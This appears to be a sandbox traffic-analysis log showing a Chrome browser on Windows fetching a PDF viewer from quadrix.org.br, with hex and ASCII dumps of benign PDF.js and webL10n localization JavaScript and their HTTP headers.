2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 61 74 65 3a 39 2c 73 61 76 65 3a 31 30 2c 72 65 73 74 6f 72 65 3a 31 31 2c 74 72 61 6e 73 66 6f 72 6d 3a 31 32 2c 6d 6f 76 65 54 6f 3a 31 33 2c 6c 69 6e 65 54 6f 3a 31 34 2c 63 75 72 76 65 54 6f 3a 31 35 2c 63 75 72 76 65 54 6f 32 3a 31 36 2c 63 75 72 76 65 54 6f 33 3a 31 37 2c 63 6c 6f 73 65 50 61 74 68 3a 31 38 2c 72 65 63 74 61 6e 67 6c 65 3a 31 39 2c 73 74 72 6f 6b 65 3a 32 30 2c 63 6c 6f 73 65 53 74 72 6f 6b 65 3a 32 31 2c 66 69 6c 6c 3a 32 32 2c 65 6f 46 69 6c 6c 3a 32 33 2c 66 69 6c 6c 53 74 72 6f 6b 65 3a 32 34 2c 65 6f 46 69 6c 6c 53 74 72 6f 6b 65 3a 32 35 2c 63 6c 6f 73 65 46 69 6c 6c 53 74 72 6f 6b 65 3a 32 36 2c 63 6c 6f 73 65 45 4f 46 69 6c 6c 53 74 72 6f 6b 65 3a 32 37 2c 65 6e 64 50 61 74 68 3a 32 38 2c 63 6c 69 70 3a 32 39 2c 65 6f 43 6c Data Ascii: ate:9,save:10,restore:11,transform:12,moveTo:13,lineTo:14,curveTo:15,curveTo2:16,curveTo3:17,closePath:18,rectangle:19,stroke:20,closeStroke:21,fill:22,eoFill:23,fillStroke:24,eoFillStroke:25,closeFillStroke:26,closeEOFillStroke:27,endPath:28,clip:29,eoCl
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 58 4f 62 6a 65 63 74 52 65 70 65 61 74 3a 38 39 2c 70 61 69 6e 74 53 6f 6c 69 64 43 6f 6c 6f 72 49 6d 61 67 65 4d 61 73 6b 3a 39 30 2c 63 6f 6e 73 74 72 75 63 74 50 61 74 68 3a 39 31 7d 3b 76 61 72 20 76 65 72 62 6f 73 69 74 79 3d 56 45 52 42 4f 53 49 54 59 5f 4c 45 56 45 4c 53 2e 77 61 72 6e 69 6e 67 73 3b 66 75 6e 63 74 69 6f 6e 20 73 65 74 56 65 72 62 6f 73 69 74 79 4c 65 76 65 6c 28 6c 65 76 65 6c 29 7b 76 65 72 62 6f 73 69 74 79 3d 6c 65 76 65 6c 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 56 65 72 62 6f 73 69 74 79 4c 65 76 65 6c 28 29 7b 72 65 74 75 72 6e 20 76 65 72 62 6f 73 69 74 79 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 69 6e 66 6f 28 6d 73 67 29 7b 69 66 28 76 65 72 62 6f 73 69 74 79 3e 3d 56 45 52 42 4f 53 49 54 59 5f 4c 45 56 45 4c 53 2e 69 6e Data Ascii: XObjectRepeat:89,paintSolidColorImageMask:90,constructPath:91};var verbosity=VERBOSITY_LEVELS.warnings;function setVerbosityLevel(level){verbosity=level;}function getVerbosityLevel(){return verbosity;}function info(msg){if(verbosity>=VERBOSITY_LEVELS.in
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 73 65 20 27 66 74 70 27 3a 63 61 73 65 20 27 6d 61 69 6c 74 6f 27 3a 63 61 73 65 20 27 74 65 6c 27 3a 72 65 74 75 72 6e 20 74 72 75 65 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 61 64 6f 77 28 6f 62 6a 2c 70 72 6f 70 2c 76 61 6c 75 65 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6f 62 6a 2c 70 72 6f 70 2c 7b 76 61 6c 75 65 3a 76 61 6c 75 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 74 72 75 65 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 74 72 75 65 2c 77 72 69 74 61 62 6c 65 3a 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 76 61 6c 75 65 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 4c 6f 6f 6b 75 70 54 61 62 6c 65 46 61 63 74 6f 72 79 28 69 6e 69 74 69 61 6c 69 7a 65 72 29 Data Ascii: se 'ftp':case 'mailto':case 'tel':return true;default:return false;}}function shadow(obj,prop,value){Object.defineProperty(obj,prop,{value:value,enumerable:true,configurable:true,writable:false});return value;}function getLookupTableFactory(initializer)
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 6e 43 6c 6f 73 75 72 65 28 29 7b 66 75 6e 63 74 69 6f 6e 20 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 28 6d 73 67 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 27 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 27 3b 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 6d 73 67 3b 7d 0a 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 45 72 72 6f 72 28 29 3b 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 3b 72 65 74 75 72 6e 20 4d 69 73 73 69 6e 67 50 44 46 45 78 63 65 70 74 69 6f 6e 3b 7d 29 28 29 3b 76 61 72 20 55 6e 65 78 70 65 63 74 65 64 52 65 73 70 6f 6e 73 65 45 78 63 65 70 74 69 6f 6e 3d 28 Data Ascii: nClosure(){function MissingPDFException(msg){this.name='MissingPDFException';this.message=msg;}MissingPDFException.prototype=new Error();MissingPDFException.constructor=MissingPDFException;return MissingPDFException;})();var UnexpectedResponseException=(
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 28 6d 73 67 29 7b 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 6d 73 67 3b 7d 0a 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 45 72 72 6f 72 28 29 3b 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 3d 27 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 27 3b 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 3b 72 65 74 75 72 6e 20 58 52 65 66 50 61 72 73 65 45 78 63 65 70 74 69 6f 6e 3b 7d 29 28 29 3b 76 61 72 20 4e 75 6c 6c 43 68 61 72 61 63 74 65 72 73 52 65 67 45 78 70 3d 2f 5c 78 30 30 2f 67 3b 66 75 6e 63 Data Ascii: efParseException(msg){this.message=msg;}XRefParseException.prototype=new Error();XRefParseException.prototype.name='XRefParseException';XRefParseException.constructor=XRefParseException;return XRefParseException;})();var NullCharactersRegExp=/\x00/g;func
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 75 72 6e 20 61 72 72 5b 30 5d 3b 7d 0a 76 61 72 20 72 65 73 75 6c 74 4c 65 6e 67 74 68 3d 30 3b 76 61 72 20 69 2c 69 69 3d 61 72 72 2e 6c 65 6e 67 74 68 3b 76 61 72 20 69 74 65 6d 2c 69 74 65 6d 4c 65 6e 67 74 68 3b 66 6f 72 28 69 3d 30 3b 69 3c 69 69 3b 69 2b 2b 29 7b 69 74 65 6d 3d 61 72 72 5b 69 5d 3b 69 74 65 6d 4c 65 6e 67 74 68 3d 61 72 72 61 79 42 79 74 65 4c 65 6e 67 74 68 28 69 74 65 6d 29 3b 72 65 73 75 6c 74 4c 65 6e 67 74 68 2b 3d 69 74 65 6d 4c 65 6e 67 74 68 3b 7d 0a 76 61 72 20 70 6f 73 3d 30 3b 76 61 72 20 64 61 74 61 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 72 65 73 75 6c 74 4c 65 6e 67 74 68 29 3b 66 6f 72 28 69 3d 30 3b 69 3c 69 69 3b 69 2b 2b 29 7b 69 74 65 6d 3d 61 72 72 5b 69 5d 3b 69 66 28 21 28 69 74 65 6d 20 69 6e 73 74 61 Data Ascii: urn arr[0];}var resultLength=0;var i,ii=arr.length;var item,itemLength;for(i=0;i<ii;i++){item=arr[i];itemLength=arrayByteLength(item);resultLength+=itemLength;}var pos=0;var data=new Uint8Array(resultLength);for(i=0;i<ii;i++){item=arr[i];if(!(item insta
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 76 61 72 20 75 69 6e 74 33 32 41 72 72 61 79 56 69 65 77 53 65 74 74 65 72 73 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 55 69 6e 74 33 32 41 72 72 61 79 50 72 6f 70 28 69 6e 64 65 78 29 7b 72 65 74 75 72 6e 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 75 66 66 65 72 3d 74 68 69 73 2e 62 75 66 66 65 72 2c 6f 66 66 73 65 74 3d 69 6e 64 65 78 3c 3c 32 3b 72 65 74 75 72 6e 28 62 75 66 66 65 72 5b 6f 66 66 73 65 74 5d 7c 28 62 75 66 66 65 72 5b 6f 66 66 73 65 74 2b 31 5d 3c 3c 38 29 7c 28 62 75 66 66 65 72 5b 6f 66 66 73 65 74 2b 32 5d 3c 3c 31 36 29 7c 28 62 75 66 66 65 72 5b 6f 66 66 73 65 74 2b 33 5d 3c 3c 32 34 29 29 3e 3e 3e 30 3b 7d 2c 73 65 74 3a 66 75 6e 63 Data Ascii: e=Object.create(null);var uint32ArrayViewSetters=0;function createUint32ArrayProp(index){return{get:function(){var buffer=this.buffer,offset=index<<2;return(buffer[offset]\|(buffer[offset+1]<<8)\|(buffer[offset+2]<<16)\|(buffer[offset+3]<<24))>>>0;},set:func
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 6d 28 70 2c 6d 29 7b 76 61 72 20 64 3d 6d 5b 30 5d 2a 6d 5b 33 5d 2d 6d 5b 31 5d 2a 6d 5b 32 5d 3b 76 61 72 20 78 74 3d 28 70 5b 30 5d 2a 6d 5b 33 5d 2d 70 5b 31 5d 2a 6d 5b 32 5d 2b 6d 5b 32 5d 2a 6d 5b 35 5d 2d 6d 5b 34 5d 2a 6d 5b 33 5d 29 2f 64 3b 76 61 72 20 79 74 3d 28 2d 70 5b 30 5d 2a 6d 5b 31 5d 2b 70 5b 31 5d 2a 6d 5b 30 5d 2b 6d 5b 34 5d 2a 6d 5b 31 5d 2d 6d 5b 35 5d 2a 6d 5b 30 5d 29 2f 64 3b 72 65 74 75 72 6e 5b 78 74 2c 79 74 5d 3b 7d 3b 55 74 69 6c 2e 67 65 74 41 78 69 61 6c 41 6c 69 67 6e 65 64 42 6f 75 6e 64 69 6e 67 42 6f 78 3d 66 75 6e 63 74 69 6f 6e 20 55 74 69 6c 5f 67 65 74 41 78 69 61 6c 41 6c 69 67 6e 65 64 42 6f 75 6e 64 69 6e 67 42 6f 78 28 72 2c 6d 29 7b 76 61 72 20 70 31 3d 55 74 69 6c 2e 61 70 70 6c 79 54 72 61 6e 73 66 6f 72 Data Ascii: m(p,m){var d=m[0]m[3]-m[1]m[2];var xt=(p[0]m[3]-p[1]m[2]+m[2]m[5]-m[4]m[3])/d;var yt=(-p[0]m[1]+p[1]m[0]+m[4]m[1]-m[5]m[0])/d;return[xt,yt];};Util.getAxialAlignedBoundingBox=function Util_getAxialAlignedBoundingBox(r,m){var p1=Util.applyTransfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	684	OUT	GET /web/l10n.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	435	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript Content-Length: 13774 Connection: close Cf-Bgj: minify Cf-Polished: origSize=29253 ETag: "8058bb23441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:13 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6e4a202cc5-ORD
2024-05-10 07:20:57 UTC	934	IN	Data Raw: 27 75 73 65 20 73 74 72 69 63 74 27 3b 64 6f 63 75 6d 65 6e 74 2e 77 65 62 4c 31 30 6e 3d 28 66 75 6e 63 74 69 6f 6e 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 67 4c 31 30 6e 44 61 74 61 3d 7b 7d 3b 76 61 72 20 67 54 65 78 74 44 61 74 61 3d 27 27 3b 76 61 72 20 67 54 65 78 74 50 72 6f 70 3d 27 74 65 78 74 43 6f 6e 74 65 6e 74 27 3b 76 61 72 20 67 4c 61 6e 67 75 61 67 65 3d 27 27 3b 76 61 72 20 67 4d 61 63 72 6f 73 3d 7b 7d 3b 76 61 72 20 67 52 65 61 64 79 53 74 61 74 65 3d 27 6c 6f 61 64 69 6e 67 27 3b 76 61 72 20 67 41 73 79 6e 63 52 65 73 6f 75 72 63 65 4c 6f 61 64 69 6e 67 3d 74 72 75 65 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 4c 31 30 6e 52 65 73 6f 75 72 63 65 4c 69 6e 6b 73 28 29 7b 72 65 74 75 72 Data Ascii: 'use strict';document.webL10n=(function(window,document,undefined){var gL10nData={};var gTextData='';var gTextProp='textContent';var gLanguage='';var gMacros={};var gReadyState='loading';var gAsyncResourceLoading=true;function getL10nResourceLinks(){retur
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 27 45 76 65 6e 74 27 29 3b 65 76 74 4f 62 6a 65 63 74 2e 69 6e 69 74 45 76 65 6e 74 28 27 6c 6f 63 61 6c 69 7a 65 64 27 2c 74 72 75 65 2c 66 61 6c 73 65 29 3b 65 76 74 4f 62 6a 65 63 74 2e 6c 61 6e 67 75 61 67 65 3d 6c 61 6e 67 3b 64 6f 63 75 6d 65 6e 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 76 74 4f 62 6a 65 63 74 29 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 78 68 72 4c 6f 61 64 54 65 78 74 28 75 72 6c 2c 6f 6e 53 75 63 63 65 73 73 2c 6f 6e 46 61 69 6c 75 72 65 29 7b 6f 6e 53 75 63 63 65 73 73 3d 6f 6e 53 75 63 63 65 73 73 7c 7c 66 75 6e 63 74 69 6f 6e 20 5f 6f 6e 53 75 63 63 65 73 73 28 64 61 74 61 29 7b 7d 3b 6f 6e 46 61 69 6c 75 72 65 3d 6f 6e 46 61 69 6c 75 72 65 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: ument.createEvent('Event');evtObject.initEvent('localized',true,false);evtObject.language=lang;document.dispatchEvent(evtObject);}function xhrLoadText(url,onSuccess,onFailure){onSuccess=onSuccess\|\|function _onSuccess(data){};onFailure=onFailure\|\|function
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 2c 70 61 72 73 65 64 52 61 77 4c 69 6e 65 73 43 61 6c 6c 62 61 63 6b 29 7b 76 61 72 20 65 6e 74 72 69 65 73 3d 72 61 77 54 65 78 74 2e 72 65 70 6c 61 63 65 28 72 65 42 6c 61 6e 6b 2c 27 27 29 2e 73 70 6c 69 74 28 2f 5b 5c 72 5c 6e 5d 2b 2f 29 3b 76 61 72 20 63 75 72 72 65 6e 74 4c 61 6e 67 3d 27 2a 27 3b 76 61 72 20 67 65 6e 65 72 69 63 4c 61 6e 67 3d 6c 61 6e 67 2e 73 70 6c 69 74 28 27 2d 27 2c 31 29 5b 30 5d 3b 76 61 72 20 73 6b 69 70 4c 61 6e 67 3d 66 61 6c 73 65 3b 76 61 72 20 6d 61 74 63 68 3d 27 27 3b 66 75 6e 63 74 69 6f 6e 20 6e 65 78 74 45 6e 74 72 79 28 29 7b 77 68 69 6c 65 28 74 72 75 65 29 7b 69 66 28 21 65 6e 74 72 69 65 73 2e 6c 65 6e 67 74 68 29 7b 70 61 72 73 65 64 52 61 77 4c 69 6e 65 73 43 61 6c 6c 62 61 63 6b 28 29 3b 72 65 74 75 72 6e Data Ascii: ,parsedRawLinesCallback){var entries=rawText.replace(reBlank,'').split(/[\r\n]+/);var currentLang='*';var genericLang=lang.split('-',1)[0];var skipLang=false;var match='';function nextEntry(){while(true){if(!entries.length){parsedRawLinesCallback();return
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 61 63 6b 3d 63 61 6c 6c 62 61 63 6b 7c 7c 66 75 6e 63 74 69 6f 6e 20 5f 63 61 6c 6c 62 61 63 6b 28 29 7b 7d 3b 63 6c 65 61 72 28 29 3b 67 4c 61 6e 67 75 61 67 65 3d 6c 61 6e 67 3b 76 61 72 20 6c 61 6e 67 4c 69 6e 6b 73 3d 67 65 74 4c 31 30 6e 52 65 73 6f 75 72 63 65 4c 69 6e 6b 73 28 29 3b 76 61 72 20 6c 61 6e 67 43 6f 75 6e 74 3d 6c 61 6e 67 4c 69 6e 6b 73 2e 6c 65 6e 67 74 68 3b 69 66 28 6c 61 6e 67 43 6f 75 6e 74 3d 3d 3d 30 29 7b 76 61 72 20 64 69 63 74 3d 67 65 74 4c 31 30 6e 44 69 63 74 69 6f 6e 61 72 79 28 29 3b 69 66 28 64 69 63 74 26 26 64 69 63 74 2e 6c 6f 63 61 6c 65 73 26 26 64 69 63 74 2e 64 65 66 61 75 6c 74 5f 6c 6f 63 61 6c 65 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 75 73 69 6e 67 20 74 68 65 20 65 6d 62 65 64 64 65 64 20 4a 53 4f 4e Data Ascii: ack=callback\|\|function _callback(){};clear();gLanguage=lang;var langLinks=getL10nResourceLinks();var langCount=langLinks.length;if(langCount===0){var dict=getL10nDictionary();if(dict&&dict.locales&&dict.default_locale){console.log('using the embedded JSON
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 3a 33 2c 27 61 6b 27 3a 34 2c 27 61 6d 27 3a 34 2c 27 61 72 27 3a 31 2c 27 61 73 61 27 3a 33 2c 27 61 7a 27 3a 30 2c 27 62 65 27 3a 31 31 2c 27 62 65 6d 27 3a 33 2c 27 62 65 7a 27 3a 33 2c 27 62 67 27 3a 33 2c 27 62 68 27 3a 34 2c 27 62 6d 27 3a 30 2c 27 62 6e 27 3a 33 2c 27 62 6f 27 3a 30 2c 27 62 72 27 3a 32 30 2c 27 62 72 78 27 3a 33 2c 27 62 73 27 3a 31 31 2c 27 63 61 27 3a 33 2c 27 63 67 67 27 3a 33 2c 27 63 68 72 27 3a 33 2c 27 63 73 27 3a 31 32 2c 27 63 79 27 3a 31 37 2c 27 64 61 27 3a 33 2c 27 64 65 27 3a 33 2c 27 64 76 27 3a 33 2c 27 64 7a 27 3a 30 2c 27 65 65 27 3a 33 2c 27 65 6c 27 3a 33 2c 27 65 6e 27 3a 33 2c 27 65 6f 27 3a 33 2c 27 65 73 27 3a 33 2c 27 65 74 27 3a 33 2c 27 65 75 27 3a 33 2c 27 66 61 27 3a 30 2c 27 66 66 27 3a 35 2c 27 66 69 Data Ascii: :3,'ak':4,'am':4,'ar':1,'asa':3,'az':0,'be':11,'bem':3,'bez':3,'bg':3,'bh':4,'bm':0,'bn':3,'bo':0,'br':20,'brx':3,'bs':11,'ca':3,'cgg':3,'chr':3,'cs':12,'cy':17,'da':3,'de':3,'dv':3,'dz':0,'ee':3,'el':3,'en':3,'eo':3,'es':3,'et':3,'eu':3,'fa':0,'ff':5,'fi
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 70 6c 75 72 61 6c 52 75 6c 65 73 3d 7b 27 30 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 31 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 30 29 2c 33 2c 31 30 29 29 29 0a 72 65 74 75 72 6e 20 27 66 65 77 27 3b 69 66 28 6e 3d 3d 3d 30 29 0a 72 65 74 75 72 6e 20 27 7a 65 72 6f 27 3b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 30 29 2c 31 31 2c 39 39 29 29 29 0a 72 65 74 75 72 6e 20 27 6d 61 6e 79 27 3b 69 66 28 6e 3d 3d 32 29 0a 72 65 74 75 72 6e 20 27 74 77 6f 27 3b 69 66 28 6e 3d 3d 31 29 0a 72 65 74 75 72 6e 20 27 6f 6e 65 27 3b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 32 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 6e Data Ascii: pluralRules={'0':function(n){return 'other';},'1':function(n){if((isBetween((n%100),3,10)))return 'few';if(n===0)return 'zero';if((isBetween((n%100),11,99)))return 'many';if(n==2)return 'two';if(n==1)return 'one';return 'other';},'2':function(n){if(n
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 27 31 32 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 6e 2c 32 2c 34 29 29 29 0a 72 65 74 75 72 6e 20 27 66 65 77 27 3b 69 66 28 6e 3d 3d 31 29 0a 72 65 74 75 72 6e 20 27 6f 6e 65 27 3b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 31 33 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 29 2c 32 2c 34 29 29 26 26 21 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 30 29 2c 31 32 2c 31 34 29 29 29 0a 72 65 74 75 72 6e 20 27 66 65 77 27 3b 69 66 28 6e 21 3d 31 26 26 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 29 2c 30 2c 31 29 29 7c 7c 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 29 2c 35 2c 39 29 29 7c 7c 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 30 Data Ascii: '12':function(n){if((isBetween(n,2,4)))return 'few';if(n==1)return 'one';return 'other';},'13':function(n){if((isBetween((n%10),2,4))&&!(isBetween((n%100),12,14)))return 'few';if(n!=1&&(isBetween((n%10),0,1))\|\|(isBetween((n%10),5,9))\|\|(isBetween((n%100
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 6e 3d 3d 3d 30 29 0a 72 65 74 75 72 6e 20 27 7a 65 72 6f 27 3b 69 66 28 6e 3d 3d 31 29 0a 72 65 74 75 72 6e 20 27 6f 6e 65 27 3b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 32 32 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 6e 2c 30 2c 31 29 29 7c 7c 28 69 73 42 65 74 77 65 65 6e 28 6e 2c 31 31 2c 39 39 29 29 29 0a 72 65 74 75 72 6e 20 27 6f 6e 65 27 3b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 32 33 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 28 69 73 42 65 74 77 65 65 6e 28 28 6e 25 31 30 29 2c 31 2c 32 29 29 7c 7c 28 6e 25 32 30 29 3d 3d 3d 30 29 0a 72 65 74 75 72 6e 20 27 6f 6e 65 27 3b 72 65 74 75 72 6e 20 27 6f 74 68 65 72 27 3b 7d 2c 27 32 34 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 Data Ascii: n===0)return 'zero';if(n==1)return 'one';return 'other';},'22':function(n){if((isBetween(n,0,1))\|\|(isBetween(n,11,99)))return 'one';return 'other';},'23':function(n){if((isBetween((n%10),1,2))\|\|(n%20)===0)return 'one';return 'other';},'24':function(n)
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 76 61 72 20 70 72 6f 70 20 69 6e 20 64 61 74 61 29 7b 76 61 72 20 73 74 72 3d 64 61 74 61 5b 70 72 6f 70 5d 3b 73 74 72 3d 73 75 62 73 74 49 6e 64 65 78 65 73 28 73 74 72 2c 61 72 67 73 2c 6b 65 79 2c 70 72 6f 70 29 3b 73 74 72 3d 73 75 62 73 74 41 72 67 75 6d 65 6e 74 73 28 73 74 72 2c 61 72 67 73 2c 6b 65 79 29 3b 72 76 5b 70 72 6f 70 5d 3d 73 74 72 3b 7d 0a 72 65 74 75 72 6e 20 72 76 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 73 75 62 73 74 49 6e 64 65 78 65 73 28 73 74 72 2c 61 72 67 73 2c 6b 65 79 2c 70 72 6f 70 29 7b 76 61 72 20 72 65 49 6e 64 65 78 3d 2f 5c 7b 5c 5b 5c 73 2a 28 5b 61 2d 7a 41 2d 5a 5d 2b 29 5c 28 28 5b 61 2d 7a 41 2d 5a 5d 2b 29 5c 29 5c 73 2a 5c 5d 5c 7d 2f 3b 76 61 72 20 72 65 4d 61 74 63 68 3d 72 65 49 6e 64 65 78 2e 65 Data Ascii: ;for(var prop in data){var str=data[prop];str=substIndexes(str,args,key,prop);str=substArguments(str,args,key);rv[prop]=str;}return rv;}function substIndexes(str,args,key,prop){var reIndex=/\{\[\s([a-zA-Z]+)$([a-zA-Z]+)$\s\]\}/;var reMatch=reIndex.e
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 2e 6e 6f 64 65 56 61 6c 75 65 3d 64 61 74 61 5b 67 54 65 78 74 50 72 6f 70 5d 3b 66 6f 75 6e 64 3d 74 72 75 65 3b 7d 7d 7d 0a 69 66 28 21 66 6f 75 6e 64 29 7b 76 61 72 20 74 65 78 74 4e 6f 64 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 64 61 74 61 5b 67 54 65 78 74 50 72 6f 70 5d 29 3b 65 6c 65 6d 65 6e 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 65 78 74 4e 6f 64 65 2c 65 6c 65 6d 65 6e 74 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 7d 7d 0a 64 65 6c 65 74 65 20 64 61 74 61 5b 67 54 65 78 74 50 72 6f 70 5d 3b 7d 0a 66 6f 72 28 76 61 72 20 6b 20 69 6e 20 64 61 74 61 29 7b 65 6c 65 6d 65 6e 74 5b 6b 5d 3d 64 61 74 61 5b 6b 5d 3b 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 43 68 69 6c 64 45 6c 65 6d 65 6e 74 43 6f 75 6e 74 Data Ascii: .nodeValue=data[gTextProp];found=true;}}}if(!found){var textNode=document.createTextNode(data[gTextProp]);element.insertBefore(textNode,element.firstChild);}}delete data[gTextProp];}for(var k in data){element[k]=data[k];}}function getChildElementCount

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	379	OUT	GET /web/images/toolbarButton-pageDown.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 228 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=238 ETag: "80ed752e441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:31 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f6ddf22e1-ORD
